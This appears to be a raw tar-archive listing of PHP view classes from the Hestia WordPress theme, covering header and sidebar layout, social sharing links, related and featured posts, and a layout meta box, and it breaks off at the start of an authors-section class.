| Current Path : /home/x/b/o/xbodynamge/namtation/wp-content/ |
| Current File : /home/x/b/o/xbodynamge/namtation/wp-content/views.tar |
blog/class-hestia-header-layout-manager.php 0000666 00000030736 15111734607 0014753 0 ustar 00 <?php
/**
* Hestia Header Layout Manager.
*
* @package Hestia
*/
/**
* Class Hestia_Header_Layout_Manager
*/
class Hestia_Header_Layout_Manager extends Hestia_Abstract_Main {
/**
* Init layout manager.
*/
public function init() {
add_filter( 'get_the_archive_title', array( $this, 'filter_archive_title' ) );
// Single Post
add_action( 'hestia_before_single_post_wrapper', array( $this, 'post_header' ) );
add_action( 'hestia_before_single_post_content', array( $this, 'post_before_content' ) );
// Page
add_action( 'hestia_before_single_page_wrapper', array( $this, 'page_header' ) );
add_action( 'hestia_before_page_content', array( $this, 'page_before_content' ) );
// Index
add_action( 'hestia_before_index_wrapper', array( $this, 'generic_header' ) );
// Search
add_action( 'hestia_before_search_wrapper', array( $this, 'generic_header' ) );
// Attachment
add_action( 'hestia_before_attachment_wrapper', array( $this, 'generic_header' ) );
// Archive
add_action( 'hestia_before_archive_content', array( $this, 'generic_header' ) );
add_action( 'hestia_before_woocommerce_wrapper', array( $this, 'generic_header' ) );
}
/**
* Remove "Category:", "Tag:", "Author:" from the archive title.
*
* @param string $title Archive title.
*/
public function filter_archive_title( $title ) {
if ( is_category() ) {
$title = single_cat_title( '', false );
} elseif ( is_tag() ) {
$title = single_tag_title( '', false );
} elseif ( is_author() ) {
$title = '<span class="vcard">' . get_the_author() . '</span>';
} elseif ( is_year() ) {
$title = get_the_date( 'Y' );
} elseif ( is_month() ) {
$title = get_the_date( 'F Y' );
} elseif ( is_day() ) {
$title = get_the_date( 'F j, Y' );
} elseif ( is_post_type_archive() ) {
$title = post_type_archive_title( '', false );
} elseif ( is_tax() ) {
$title = single_term_title( '', false );
}
return $title;
}
/**
* The single post header.
*/
public function post_header() {
$layout = get_theme_mod( 'hestia_header_layout', 'default' );
if ( $layout === 'classic-blog' ) {
return;
}
$this->display_header( $layout, 'post' );
}
/**
* The single page header.
*/
public function page_header() {
$layout = get_theme_mod( 'hestia_header_layout', 'default' );
if ( class_exists( 'WooCommerce' ) && ( is_cart() || is_checkout() || is_shop() ) ) {
$layout = 'default';
}
if ( $layout === 'classic-blog' ) {
return;
}
$this->display_header( $layout, 'page' );
}
/**
* Display page header on single page and on full width page template.
*
* @param string $layout header layout.
* @param string $type post / page / other.
*/
private function display_header( $layout, $type ) {
echo '<div id="primary" class="' . esc_attr( $this->boxed_page_layout_class() ) . ' page-header header-small"
' . $this->parallax_attribute() . '>';
if ( $type === 'post' && $layout !== 'no-content' ) {
$this->render_header();
}
if ( $type === 'page' && $layout === 'default' ) {
$this->render_header();
}
if ( $type === 'generic' ) {
$this->render_header();
}
$this->render_header_background();
echo '</div>';
}
/**
* Determine whether or not to add parallax attribute on header.
*/
private function parallax_attribute() {
if ( class_exists( 'WooCommerce' ) && is_product() ) {
return '';
}
return 'data-parallax="active"';
}
/**
* Display header content based on layout.
*/
private function render_header() {
$layout = get_theme_mod( 'hestia_header_layout', 'default' );
if ( ! is_single() && ! is_page() ) {
$layout = 'default';
}
if ( is_attachment() ) {
$layout = 'default';
}
if ( $this->is_shop_without_header_content() ) {
$layout = 'default';
}
if ( $layout === 'default' && ! $this->is_shop_without_header_content() ) {
?>
<div class="container">
<div class="row">
<div class="col-md-10 col-md-offset-1 text-center">
<?php
}
$this->header_content( $layout );
$this->maybe_render_post_meta( $layout );
if ( $layout === 'classic-blog' ) {
the_post_thumbnail();
}
if ( $layout === 'default' && ! $this->is_shop_without_header_content() ) {
?>
</div>
</div>
</div>
<?php
}
}
/**
* Header content display.
*
* @param string $header_layout the header layout.
*/
private function header_content( $header_layout ) {
$title_class = 'hestia-title';
if ( $header_layout !== 'default' ) {
$title_class .= ' title-in-content';
}
if ( class_exists( 'WooCommerce' ) ) {
if ( is_shop() ) {
echo '<h1 class="' . esc_attr( $title_class ) . '">';
woocommerce_page_title();
echo '</h1>';
return;
}
if ( is_product() || is_cart() || is_checkout() ) {
return;
}
}
if ( is_archive() ) {
the_archive_title( '<h1 class="hestia-title">', '</h1>' );
the_archive_description( '<h5 class="description">', '</h5>' );
return;
}
if ( is_search() ) {
echo '<h1 class="' . esc_attr( $title_class ) . '">';
/* translators: search result */
printf( esc_html__( 'Search Results for: %s', 'hestia' ), get_search_query() );
echo '</h1>';
return;
}
if ( is_front_page() && ( get_option( 'show_on_front' ) === 'posts' ) ) {
echo '<h1 class="' . esc_attr( $title_class ) . '">';
echo get_bloginfo( 'description' );
echo '</h1>';
return;
}
if ( is_page() ) {
echo '<h1 class="' . esc_attr( $title_class ) . '">';
single_post_title();
echo '</h1>';
return;
}
echo '<h1 class="' . esc_attr( $title_class ) . ' entry-title">';
single_post_title();
echo '</h1>';
return;
}
/**
* Check if post meta should be displayed.
*
* @param string $header_layout the header layout.
*/
private function maybe_render_post_meta( $header_layout ) {
if ( ! is_single() ) {
return;
}
if ( class_exists( 'WooCommerce' ) ) {
if ( is_product() ) {
return;
}
}
global $post;
$author_id = $post->post_author;
$author_name = get_the_author_meta( 'display_name', $author_id );
$author_posts_url = get_author_posts_url( get_the_author_meta( 'ID', $author_id ) );
if ( $header_layout === 'default' ) {
echo '<h4 class="author">';
} else {
echo '<p class="author meta-in-content">';
}
echo apply_filters(
'hestia_single_post_meta', sprintf(
/* translators: %1$s is Author name wrapped, %2$s is Date*/
esc_html__( 'Published by %1$s on %2$s', 'hestia' ),
/* translators: %1$s is Author name, %2$s is Author link*/
sprintf(
'<a href="%2$s" class="vcard author"><strong class="fn">%1$s</strong></a>',
esc_html( $author_name ),
esc_url( $author_posts_url )
),
/* translators: %s is Date */
sprintf(
'<time class="date updated published" datetime="%2$s">%1$s</time>',
esc_html( get_the_time( get_option( 'date_format' ) ) ), esc_html( get_the_date( DATE_W3C ) )
)
)
);
if ( $header_layout === 'default' ) {
echo '</h4>';
} else {
echo '</p>';
}
}
/**
* Get the sidebar layout.
*
* @return mixed|string
*/
public function get_page_sidebar_layout() {
$sidebar_layout = get_theme_mod( 'hestia_blog_sidebar_layout', 'sidebar-right' );
$individual_layout = get_post_meta( get_the_ID(), 'hestia_layout_select', true );
if ( ! empty( $individual_layout ) && $individual_layout !== 'default' ) {
$sidebar_layout = $individual_layout;
}
return $sidebar_layout;
}
/**
* Get the sidebar layout.
*
* @return mixed|string
*/
public function get_blog_sidebar_layout() {
$sidebar_layout = get_theme_mod( 'hestia_page_sidebar_layout', 'full-width' );
$individual_layout = get_post_meta( get_the_ID(), 'hestia_layout_select', true );
if ( ! empty( $individual_layout ) && $individual_layout !== 'default' ) {
$sidebar_layout = $individual_layout;
}
return $sidebar_layout;
}
/**
* Add the class to account for boxed page layout.
*
* @return string
*/
private function boxed_page_layout_class() {
$layout = get_theme_mod( 'hestia_general_layout', 1 );
if ( isset( $layout ) && $layout == 1 ) {
return 'boxed-layout-header';
}
return '';
}
/**
* Render the header background div.
*/
private function render_header_background() {
$background_image = $this->get_page_background();
$customizer_background_image = get_background_image();
$header_filter_div = '<div class="header-filter';
/* Header Image */
if ( ! empty( $background_image ) ) {
$header_filter_div .= '" style="background-image: url(' . esc_url( $background_image ) . ');"';
/* Gradient Color */
} elseif ( empty( $customizer_background_image ) ) {
$header_filter_div .= ' header-filter-gradient"';
/* Background Image */
} else {
$header_filter_div .= '"';
}
$header_filter_div .= '></div>';
echo apply_filters( 'hestia_header_wrapper_background_filter', $header_filter_div );
}
/**
* Handle Pages and Posts Header image.
* Single Product: Product Category Image > Header Image > Gradient
* Product Category: Product Category Image > Header Image > Gradient
* Shop Page: Shop Page Featured Image > Header Image > Gradient
* Blog Page: Page Featured Image > Header Image > Gradient
* Single Post: Featured Image > Gradient
*/
private function get_page_background() {
// Default header image
$thumbnail = get_header_image();
$use_header_image_sitewide = get_theme_mod( 'hestia_header_image_sitewide', false );
// If the option to use Header Image Sitewide is enabled, return header image and exit function.
if ( (bool) $use_header_image_sitewide === true ) {
return esc_url( apply_filters( 'hestia_header_image_filter', $thumbnail ) );
}
$shop_id = get_option( 'woocommerce_shop_page_id' );
if ( class_exists( 'WooCommerce' ) && is_woocommerce() ) {
// Single product page
if ( is_product() ) {
$terms = get_the_terms( get_queried_object_id(), 'product_cat' );
// If product has categories
if ( ! empty( $terms ) ) {
foreach ( $terms as $term ) {
if ( ! empty( $term->term_id ) ) {
$category_thumbnail = get_woocommerce_term_meta( $term->term_id, 'thumbnail_id', true );
}
// Get product category's image
if ( ! empty( $category_thumbnail ) ) {
$thumb_tmp = wp_get_attachment_url( $category_thumbnail );
} // End if().
}
}
} elseif ( is_product_category() ) {
global $wp_query;
$category = $wp_query->get_queried_object();
if ( ! empty( $category->term_id ) ) {
$thumbnail_id = get_woocommerce_term_meta( $category->term_id, 'thumbnail_id', true );
}
if ( ! empty( $thumbnail_id ) ) {
// Get category featured image
$thumb_tmp = wp_get_attachment_url( $thumbnail_id );
} else {
if ( ! empty( $shop_id ) ) {
// Get shop page featured image
$thumb_tmp = get_the_post_thumbnail_url( $shop_id );
if ( ! empty( $thumb_tmp ) ) {
$thumbnail = $thumb_tmp;
}
}
}
} else {
// Shop page
if ( ! empty( $shop_id ) ) {
// Get shop page featured image
$thumb_tmp = get_the_post_thumbnail_url( $shop_id );
}
}// End if().
} else {
// Get featured image
if ( is_home() ) {
$page_for_posts_id = get_option( 'page_for_posts' );
if ( ! empty( $page_for_posts_id ) ) {
$thumb_tmp = get_the_post_thumbnail_url( $page_for_posts_id );
}
} else {
$thumb_tmp = get_the_post_thumbnail_url();
}
}// End if().
if ( ! empty( $thumb_tmp ) ) {
$thumbnail = $thumb_tmp;
}
return esc_url( apply_filters( 'hestia_header_image_filter', $thumbnail ) );
}
/**
* Single page before content.
*/
public function page_before_content() {
$layout = get_theme_mod( 'hestia_header_layout', 'default' );
if ( $layout === 'default' ) {
return;
}
if ( class_exists( 'WooCommerce' ) && ( is_product() || is_cart() || is_checkout() ) ) {
return;
}
$this->render_header();
}
/**
* Single post before content.
*/
public function post_before_content() {
$layout = get_theme_mod( 'hestia_header_layout', 'default' );
if ( $layout === 'default' ) {
return;
}
$this->render_header();
}
/**
* Generic header used for index | search | attachment | WooCommerce.
*/
public function generic_header() {
$this->display_header( 'default', 'generic' );
}
/**
* Check if page is WooCommerce without header content [cart/checkout/shop]
*
* @return bool
*/
private function is_shop_without_header_content() {
if ( ! class_exists( 'WooCommerce' ) ) {
return false;
}
if ( is_cart() || is_checkout() ) {
return true;
}
return false;
}
}
blog/class-hestia-additional-views.php 0000666 00000016022 15111734607 0014033 0 ustar 00 <?php
/**
* Hestia Header Layout Manager.
*
* @package Hestia
*/
/**
* Class Hestia_Header_Layout_Manager
*/
class Hestia_Additional_Views extends Hestia_Abstract_Main {
/**
* Init layout manager.
*/
public function init() {
add_action( 'hestia_after_single_post_article', array( $this, 'post_after_article' ) );
add_action( 'hestia_blog_social_icons', array( $this, 'social_icons' ) );
add_action( 'wp_footer', array( $this, 'scroll_to_top' ) );
add_action( 'hestia_blog_related_posts', array( $this, 'related_posts' ) );
}
/**
* Social sharing icons for single view.
*
* @since Hestia 1.0
*/
public function social_icons() {
$enabled_socials = get_theme_mod( 'hestia_enable_sharing_icons', true );
if ( (bool) $enabled_socials !== true ) {
return;
}
$post_link = get_the_permalink();
$post_title = get_the_title();
$allowed_tags = array(
'div' => array(
'class' => array(),
),
'a' => array(
'href' => array(),
'target' => array(),
'title' => array(),
'rel' => array(),
'class' => array(),
'data-original-title' => array(),
),
'i' => array(
'class' => array(),
),
);
$facebook_url =
esc_url(
add_query_arg(
array( 'u' => $post_link ),
'https://www.facebook.com/sharer/sharer.php'
)
);
$twitter_url =
esc_url(
add_query_arg(
array( 'status' => wp_strip_all_tags( $post_title ) . ' - ' . esc_url( $post_link ) ),
'https://twitter.com/home'
)
);
$google_url =
esc_url(
add_query_arg(
array( 'url' => $post_link ),
'https://plus.google.com/share'
)
);
$social_links = '
<div class="col-md-6">
<div class="entry-social">
<a target="_blank" rel="tooltip"
data-original-title="' . esc_attr__( 'Share on Facebook', 'hestia' ) . '"
class="btn btn-just-icon btn-round btn-facebook"
href="' . $facebook_url . '">
<i class="fa fa-facebook"></i>
</a>
<a target="_blank" rel="tooltip"
data-original-title="' . esc_attr__( 'Share on Twitter', 'hestia' ) . '"
class="btn btn-just-icon btn-round btn-twitter"
href="' . $twitter_url . '">
<i class="fa fa-twitter"></i>
</a>
<a target="_blank" rel="tooltip"
data-original-title=" ' . esc_attr__( 'Share on Google+', 'hestia' ) . '"
class="btn btn-just-icon btn-round btn-google"
href="' . $google_url . '">
<i class="fa fa-google"></i>
</a>
</div>
</div>';
echo apply_filters( 'hestia_filter_blog_social_icons', $social_links );
}
/**
* Single post after article.
*/
public function post_after_article() {
global $post;
$categories = get_the_category( $post->ID );
?>
<div class="section section-blog-info">
<div class="row">
<div class="col-md-6">
<div class="entry-categories"><?php esc_html_e( 'Categories:', 'hestia' ); ?>
<?php
foreach ( $categories as $category ) {
echo '<span class="label label-primary"><a href="' . esc_url( get_category_link( $category->term_id ) ) . '">' . esc_html( $category->name ) . '</a></span>';
}
?>
</div>
<?php the_tags( '<div class="entry-tags">' . esc_html__( 'Tags: ', 'hestia' ) . '<span class="entry-tag">', '</span><span class="entry-tag">', '</span></div>' ); ?>
</div>
<?php do_action( 'hestia_blog_social_icons' ); ?>
</div>
<hr>
<?php
$this->maybe_render_author_box();
if ( comments_open() || get_comments_number() ) :
comments_template();
endif;
?>
</div>
<?php
}
/**
* Render the author box.
*/
private function maybe_render_author_box() {
$author_description = get_the_author_meta( 'description' );
if ( empty( $author_description ) ) {
return;
}
?>
<div class="card card-profile card-plain">
<div class="row">
<div class="col-md-2">
<div class="card-avatar">
<a href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>"
title="<?php echo esc_attr( get_the_author() ); ?>"><?php echo get_avatar( get_the_author_meta( 'ID' ), 100 ); ?></a>
</div>
</div>
<div class="col-md-10">
<h4 class="card-title"><?php the_author(); ?></h4>
<p class="description"><?php the_author_meta( 'description' ); ?></p>
</div>
</div>
</div>
<?php
}
/**
* Display scroll to top button.
*
* @since 1.1.54
*/
public function scroll_to_top() {
$hestia_enable_scroll_to_top = get_theme_mod( 'hestia_enable_scroll_to_top' );
if ( (bool) $hestia_enable_scroll_to_top === false ) {
return;
}
?>
<button class="hestia-scroll-to-top">
<i class="fa fa-angle-double-up" aria-hidden="true"></i>
</button>
<?php
}
/**
* Related posts for single view.
*
* @since Hestia 1.0
*/
public function related_posts() {
global $post;
$cats = wp_get_object_terms(
$post->ID, 'category', array(
'fields' => 'ids',
)
);
$args = array(
'posts_per_page' => 3,
'cat' => $cats,
'orderby' => 'date',
'ignore_sticky_posts' => true,
'post__not_in' => array( $post->ID ),
);
$allowed_html = array(
'br' => array(),
'em' => array(),
'strong' => array(),
'i' => array(
'class' => array(),
),
'span' => array(),
);
$loop = new WP_Query( $args );
if ( $loop->have_posts() ) :
?>
<div class="section related-posts">
<div class="container">
<div class="row">
<div class="col-md-12">
<h2 class="hestia-title text-center"><?php esc_html_e( 'Related Posts', 'hestia' ); ?></h2>
<div class="row">
<?php
while ( $loop->have_posts() ) :
$loop->the_post();
?>
<div class="col-md-4">
<div class="card card-blog">
<?php if ( has_post_thumbnail() ) : ?>
<div class="card-image">
<a href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>">
<?php the_post_thumbnail( 'hestia-blog' ); ?>
</a>
</div>
<?php endif; ?>
<div class="content">
<h6 class="category text-info"><?php hestia_category(); ?></h6>
<h4 class="card-title">
<a class="blog-item-title-link" href="<?php echo esc_url( get_permalink() ); ?>" title="<?php the_title_attribute(); ?>" rel="bookmark">
<?php echo wp_kses( force_balance_tags( get_the_title() ), $allowed_html ); ?>
</a>
</h4>
<p class="card-description"><?php echo wp_kses_post( get_the_excerpt() ); ?></p>
</div>
</div>
</div>
<?php endwhile; ?>
<?php wp_reset_postdata(); ?>
</div>
</div>
</div>
</div>
</div>
<?php
endif;
}
}
blog/class-hestia-individual-single-layout.php 0000666 00000007436 15111734607 0015523 0 ustar 00 <?php
/**
* Feature to control layout on individual posts and pages.
*
* @package hestia
* @since 1.1.58
*/
/**
* Class Hestia_Individual_Single_Layout
*/
class Hestia_Individual_Single_Layout extends Hestia_Abstract_Main {
/**
* Hestia_Single_Layout constructor.
*/
public function init() {
add_action( 'add_meta_boxes', array( $this, 'add_meta_box' ) );
add_action( 'save_post', array( $this, 'save_meta_box' ) );
add_filter( 'theme_mod_hestia_page_sidebar_layout', array( $this, 'get_individual_layout' ) );
add_filter( 'theme_mod_hestia_blog_sidebar_layout', array( $this, 'get_individual_layout' ) );
}
/**
* Register meta box to control layout on pages and posts.
*
* @since 1.1.58
*/
public function add_meta_box() {
global $post;
if ( empty( $post ) ) {
return;
}
$page_template = get_post_meta( $post->ID, '_wp_page_template', true );
// Register the metabox only for the default and page with sidebar templates.
$allowed_templates = array(
'default',
'page-templates/template-page-sidebar.php',
);
if ( ! in_array( $page_template, $allowed_templates ) && ! empty( $page_template ) ) {
return;
}
add_meta_box(
'hestia-individual-layout', esc_html__( 'Layout', 'hestia' ), array(
$this,
'meta_box_content',
), array(
'post',
'page',
), 'side', 'low'
);
}
/**
* The metabox content.
*
* @since 1.1.58
*/
public function meta_box_content() {
// $post is already set, and contains an object: the WordPress post
global $post;
$values = get_post_custom( $post->ID );
$selected = isset( $values['hestia_layout_select'] ) ? esc_attr( $values['hestia_layout_select'][0] ) : '';
// We'll use this nonce field later on when saving.
wp_nonce_field( 'hestia_individual_layout_nonce', 'individual_layout_nonce' );
?>
<p>
<select name="hestia_layout_select" id="hestia_layout_select">
<option value="default" <?php selected( $selected, 'default' ); ?>><?php echo esc_html__( 'Default', 'hestia' ); ?></option>
<option value="full-width" <?php selected( $selected, 'full-width' ); ?>><?php echo esc_html__( 'Full Width', 'hestia' ); ?></option>
<option value="sidebar-left" <?php selected( $selected, 'sidebar-left' ); ?>><?php echo esc_html__( 'Left Sidebar', 'hestia' ); ?></option>
<option value="sidebar-right" <?php selected( $selected, 'sidebar-right' ); ?>><?php echo esc_html__( 'Right Sidebar', 'hestia' ); ?></option>
</select>
</p>
<?php
}
/**
* Save metabox data.
*
* @param string $post_id Post id.
*
* @since 1.1.58
*/
public function save_meta_box( $post_id ) {
// Bail if we're doing an auto save
if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
return;
}
// if our nonce isn't there, or we can't verify it, bail
if ( ! isset( $_POST['individual_layout_nonce'] ) || ! wp_verify_nonce( $_POST['individual_layout_nonce'], 'hestia_individual_layout_nonce' ) ) {
return;
}
// if our current user can't edit this post, bail
if ( ! current_user_can( 'edit_post' ) ) {
return;
}
if ( isset( $_POST['hestia_layout_select'] ) ) {
$valid = array(
'default',
'full-width',
'sidebar-left',
'sidebar-right',
);
$value = wp_unslash( $_POST['hestia_layout_select'] );
update_post_meta( $post_id, 'hestia_layout_select', in_array( $value, $valid ) ? $value : 'default' );
}
}
/**
* Hook into the theme mod to change it as we see fit.
*
* @param string $layout the single post / page layout.
*
* @return string $layout
*/
public function get_individual_layout( $layout ) {
$individual_layout = get_post_meta( get_the_ID(), 'hestia_layout_select', true );
if ( empty( $individual_layout ) ) {
return $layout;
}
if ( $individual_layout === 'default' ) {
return $layout;
}
return $individual_layout;
}
}
blog/class-hestia-featured-posts.php 0000666 00000012336 15111734607 0013541 0 ustar 00 <?php
/**
* Featured posts on blog index.
*
* @package Hestia
*/
/**
* Class Hestia_Featured_Posts
*/
class Hestia_Featured_Posts extends Hestia_Abstract_Main {
/**
* Posts that will be skipped.
*
* @var array
*/
private $posts_to_skip = array();
/**
* Initialize Featured Posts
*/
public function init() {
add_action( 'hestia_before_index_posts_loop', array( $this, 'render_featured_posts' ) );
add_filter( 'hestia_filter_skipped_posts_in_main_loop', array( $this, 'remove_featured_posts_in_main_loop' ), 0 );
}
/**
* Display the latest 3 posts on top of the blog page.
*
* @return array|void
*/
public function render_featured_posts() {
if ( is_404() ) {
return;
}
/**
* Check if section is enabled. If it isn't, exit.
*/
$featured_posts_category = get_theme_mod( 'hestia_featured_posts_category', apply_filters( 'hestia_featured_posts_category_default', 0 ) );
if ( empty( $featured_posts_category ) ) {
return;
}
if ( count( $featured_posts_category ) === 1 && empty( $featured_posts_category[0] ) ) {
return;
}
/**
* By default, we will show only the last 3 posts but the number of posts can be changed in a child theme.
*/
$number_of_posts = apply_filters( 'hestia_blog_featured_posts_number', 3 );
$post = new WP_Query(
array(
'post_type' => 'post',
'posts_per_page' => ! empty( $number_of_posts ) ? absint( $number_of_posts ) : 3,
'order' => 'DESC',
'ignore_sticky_posts' => true,
'category__in' => $featured_posts_category,
)
);
if ( ! $post->have_posts() ) {
return;
}
/**
* Index of the current post that is showed in loop.
*/
$item_index = 0;
/**
* The total number of posts.
*/
$category = get_category( $featured_posts_category[0] );
$total_posts = $category->category_count;
echo '<div class="hestia-blog-featured-posts ' . esc_attr( $this->wrapper_class() ) . '"><div class="row">';
while ( $post->have_posts() ) {
$post->the_post();
$item_index ++;
/**
* Based on the post index, decide if the post should display full width or just 50% of the page. If it's
* the only post, display it as full width.
*/
$card_class = $this->get_card_class( $item_index, $total_posts );
$card_inner_class = 'card card-raised';
/**
* If the post has a thumbnail, we add the class card-background which adds overlay on the image, center
* the content and change the color of the text.
*/
$thumb_style = '';
if ( has_post_thumbnail() ) {
$card_inner_class .= ' card-background';
$thumb_url = get_the_post_thumbnail_url();
$thumb_style = 'style="background-image:url(' . esc_url( $thumb_url ) . ')"';
}
// Get the data (title, category, content) and display the post.
$pid = get_the_ID();
array_push( $this->posts_to_skip, $pid );
$categories = get_the_category( $pid );
$cat_name = $categories[0]->name;
$cat_id = $categories[0]->term_id;
$cat_link = get_category_link( $cat_id );
$post_url = get_permalink();
$title = get_the_title();
$content = get_the_excerpt();
$content = preg_replace( '/<a class="moretag" (.*?)>(.*?)<\/a>/i', '...', $content );
echo '<article class="hestia-blog-featured-card ' . esc_attr( $card_class ) . '">';
echo '<div class="' . esc_attr( $card_inner_class ) . '" ' . $thumb_style . '>';
echo '<div class="card-body">';
echo '<h6 class="category text-info"><a href="' . esc_url( $cat_link ) . '">' . wp_kses_post( $cat_name ) . '</a></h6>';
if ( ! empty( $title ) ) {
echo '<a href="' . esc_url( $post_url ) . '">';
echo '<h2 class="card-title">' . wp_kses_post( $title ) . '</h2>';
echo '</a>';
}
if ( ! empty( $content ) ) {
echo '<p class="card-description">';
echo wp_kses_post( $content );
echo '</p>';
}
echo '<a href="' . esc_url( $post_url ) . '" class="btn btn-round">';
echo apply_filters( 'hestia_features_blog_posts_button_text', esc_html__( 'Read more', 'hestia' ) );
echo '</a>';
echo '</div>';
echo '</div>';
echo '</article>';
}
wp_reset_postdata();
echo '</div></div>';
}
/**
* Filter main loop posts for featured area exclusion.
*
* @param array $posts the posts array.
*
* @return array
*/
public function remove_featured_posts_in_main_loop( $posts ) {
return array_merge( $posts, $this->posts_to_skip );
}
/**
* Based on the post index, decide if the post should display full width or just 50% of the page.
*
* @param int $index Post index.
* @param int $total_posts Number of posts in category.
*
* @return string
*/
private function get_card_class( $index, $total_posts ) {
if ( $total_posts > 1 ) {
if ( $index % 3 === 1 ) {
return 'col-md-6';
}
if ( $index % 3 === 2 ) {
return 'col-md-6';
}
return 'col-md-12';
}
}
/**
* Featured posts wrapper class.
*
* @return string
*/
private function wrapper_class() {
$blog_sidebar_layout = get_theme_mod( 'hestia_blog_sidebar_layout', 'sidebar-right' );
if ( $blog_sidebar_layout === 'full-width' || ( ! is_active_sidebar( 'sidebar-1' ) && ! is_customize_preview() ) ) {
return ' col-md-10 col-md-offset-1 ';
} else {
return ' col-md-12 ';
}
}
}
blog/class-hestia-sidebar-layout-manager.php 0000666 00000013770 15111734607 0015133 0 ustar 00 <?php
/**
* Hestia Sidebar Layout Manager.
*
* @package Hestia
*/
/**
* Class Hestia_Sidebar_Layout_Manager
*/
class Hestia_Sidebar_Layout_Manager extends Hestia_Abstract_Main {
/**
* Init layout manager.
*/
public function init() {
// Single Post
add_filter( 'hestia_filter_single_post_content_classes', array( $this, 'post_content_classes' ) );
// Page
add_filter( 'hestia_filter_page_content_classes', array( $this, 'page_content_classes' ) );
add_action( 'hestia_page_sidebar', array( $this, 'render_page_sidebar' ) );
// Index and search
add_filter( 'hestia_filter_index_search_content_classes', array( $this, 'index_search_content_classes' ) );
// Archive
add_filter( 'hestia_filter_archive_content_classes', array( $this, 'archive_content_classes' ) );
// Blog Sidebar
add_filter( 'hestia_filter_blog_sidebar_classes', array( $this, 'blog_sidebar_classes' ) );
// Shop Sidebar.
add_filter( 'hestia_filter_woocommerce_content_classes', array( $this, 'content_classes' ) );
}
/**
* Page content classes.
*
* @param string $classes page content classes.
*
* @return string
*/
public function page_content_classes( $classes ) {
$sidebar_layout = get_theme_mod( 'hestia_page_sidebar_layout', 'full-width' );
if ( class_exists( 'WooCommerce' ) ) {
if ( is_cart() || is_checkout() ) {
return 'col-md-12';
}
}
if ( $sidebar_layout === 'full-width' ) {
return $classes . ' col-md-offset-2';
}
if ( $sidebar_layout === 'sidebar-left' ) {
return is_customize_preview() ?
$classes . 'col-md-offset-1' :
is_active_sidebar( 'sidebar-1' ) ?
$classes . 'col-md-offset-1' :
$classes . ' col-md-offset-2';
}
if ( $sidebar_layout === 'sidebar-right' ) {
return is_customize_preview() ?
$classes :
is_active_sidebar( 'sidebar-1' ) ?
$classes :
$classes . ' col-md-offset-2';
}
return $classes;
}
/**
* Post content classes.
*
* @param string $classes post content classes.
*
* @return string
*/
public function post_content_classes( $classes ) {
$sidebar_layout = get_theme_mod( 'hestia_blog_sidebar_layout', 'full-width' );
if ( $sidebar_layout === 'full-width' ) {
return $classes . ' col-md-offset-2';
}
if ( $sidebar_layout === 'sidebar-left' ) {
return is_customize_preview() ?
$classes . ' col-md-offset-1' :
is_active_sidebar( 'sidebar-1' ) ?
$classes . ' col-md-offset-1' :
$classes . ' col-md-offset-2';
}
if ( $sidebar_layout === 'sidebar-right' ) {
return is_customize_preview() ?
$classes :
is_active_sidebar( 'sidebar-1' ) ?
$classes :
$classes . ' col-md-offset-2';
}
return $classes;
}
/**
* Index content classes.
*
* @param string $classes index classes.
*
* @return string
*/
public function index_search_content_classes( $classes ) {
$sidebar_layout = get_theme_mod( 'hestia_blog_sidebar_layout', 'sidebar-right' );
if ( $sidebar_layout === 'full-width' ) {
return 'col-md-10 col-md-offset-1 blog-posts-wrap';
}
if ( $sidebar_layout === 'sidebar-left' ) {
return is_customize_preview() ?
$classes . ' col-md-offset-1' :
is_active_sidebar( 'sidebar-1' ) ?
$classes . ' col-md-offset-1' :
'col-md-10 col-md-offset-1 blog-posts-wrap';
}
if ( $sidebar_layout === 'sidebar-right' ) {
return is_customize_preview() ?
$classes :
is_active_sidebar( 'sidebar-1' ) ?
$classes :
'col-md-10 col-md-offset-1 blog-posts-wrap';
}
return $classes;
}
/**
* Archive content classes.
*
* @param string $classes archive content classes.
*
* @return string
*/
public function archive_content_classes( $classes ) {
$sidebar_layout = get_theme_mod( 'hestia_blog_sidebar_layout', 'sidebar-right' );
if ( $sidebar_layout === 'full-width' ) {
return 'col-md-10 col-md-offset-1 archive-post-wrap';
}
if ( $sidebar_layout === 'sidebar-left' ) {
$classes .= 'col-md-offset-1';
}
return $classes;
}
/**
* Adjust blog sidebar classes.
*
* @param string $classes the classes for blog sidebar.
*
* @return string
*/
public function blog_sidebar_classes( $classes ) {
if ( is_page() ) {
return $classes;
}
$sidebar_layout = get_theme_mod( 'hestia_blog_sidebar_layout', 'sidebar-right' );
if ( $sidebar_layout === 'sidebar-left' ) {
return $classes;
}
if ( function_exists( 'is_bbpress' ) && is_bbpress() ) {
return $classes;
}
if ( function_exists( 'is_buddypress' ) && is_buddypress() ) {
return $classes;
}
$classes .= ' col-md-offset-1';
return $classes;
}
/**
* Render the page sidebar.
*/
public function render_page_sidebar() {
if ( class_exists( 'WooCommerce' ) ) {
if ( is_cart() || is_checkout() || is_account_page() ) {
return;
}
if ( is_shop() ) {
get_sidebar( 'woocommerce' );
return;
}
}
get_sidebar();
return;
}
/**
* Post content classes.
*
* @param string $classes post content classes.
*
* @return string
*/
public function content_classes( $classes ) {
if ( ! class_exists( 'WooCommerce' ) ) {
return $classes;
}
$sidebar_layout = $this->get_page_sidebar_layout();
if ( is_product() ) {
return 'col-md-12';
}
if ( $this->should_have_sidebar() ) {
$classes = 'content-' . $sidebar_layout . ' col-md-9';
}
return $classes;
}
/**
* Change shop columns when we have a shop sidebar.
*/
public function sidebar_columns() {
return apply_filters( 'hestia_shop_loop_columns', 3 ); // 3 products per row
}
/**
* Utility to check if should have sidebar.
*
* @return bool
*/
private function should_have_sidebar() {
if ( is_customize_preview() && $this->get_page_sidebar_layout() !== 'full-width' ) {
return true;
}
if ( is_active_sidebar( 'sidebar-woocommerce' ) && $this->get_page_sidebar_layout() !== 'full-width' ) {
return true;
}
return false;
}
/**
* Get the sidebar layout.
*
* @return mixed|string
*/
public function get_page_sidebar_layout() {
return get_theme_mod( 'hestia_page_sidebar_layout', 'full-width' );
}
}
blog/class-hestia-authors-section.php 0000666 00000012234 15111734607 0013720 0 ustar 00 <?php
/**
* Authors section on blog
*
* @package hestia
*/
/**
* Class Hestia_Authors_Section
*/
class Hestia_Authors_Section extends Hestia_Abstract_Main {
/**
* Members to display.
*
* @var array
*/
private $members_to_display = array();
/**
* Initialization function for authors section on blog.
*
* @return void
*/
public function init() {
add_action( 'hestia_after_archive_content', array( $this, 'render_authors_section' ), 10 );
}
/**
* Render function.
*
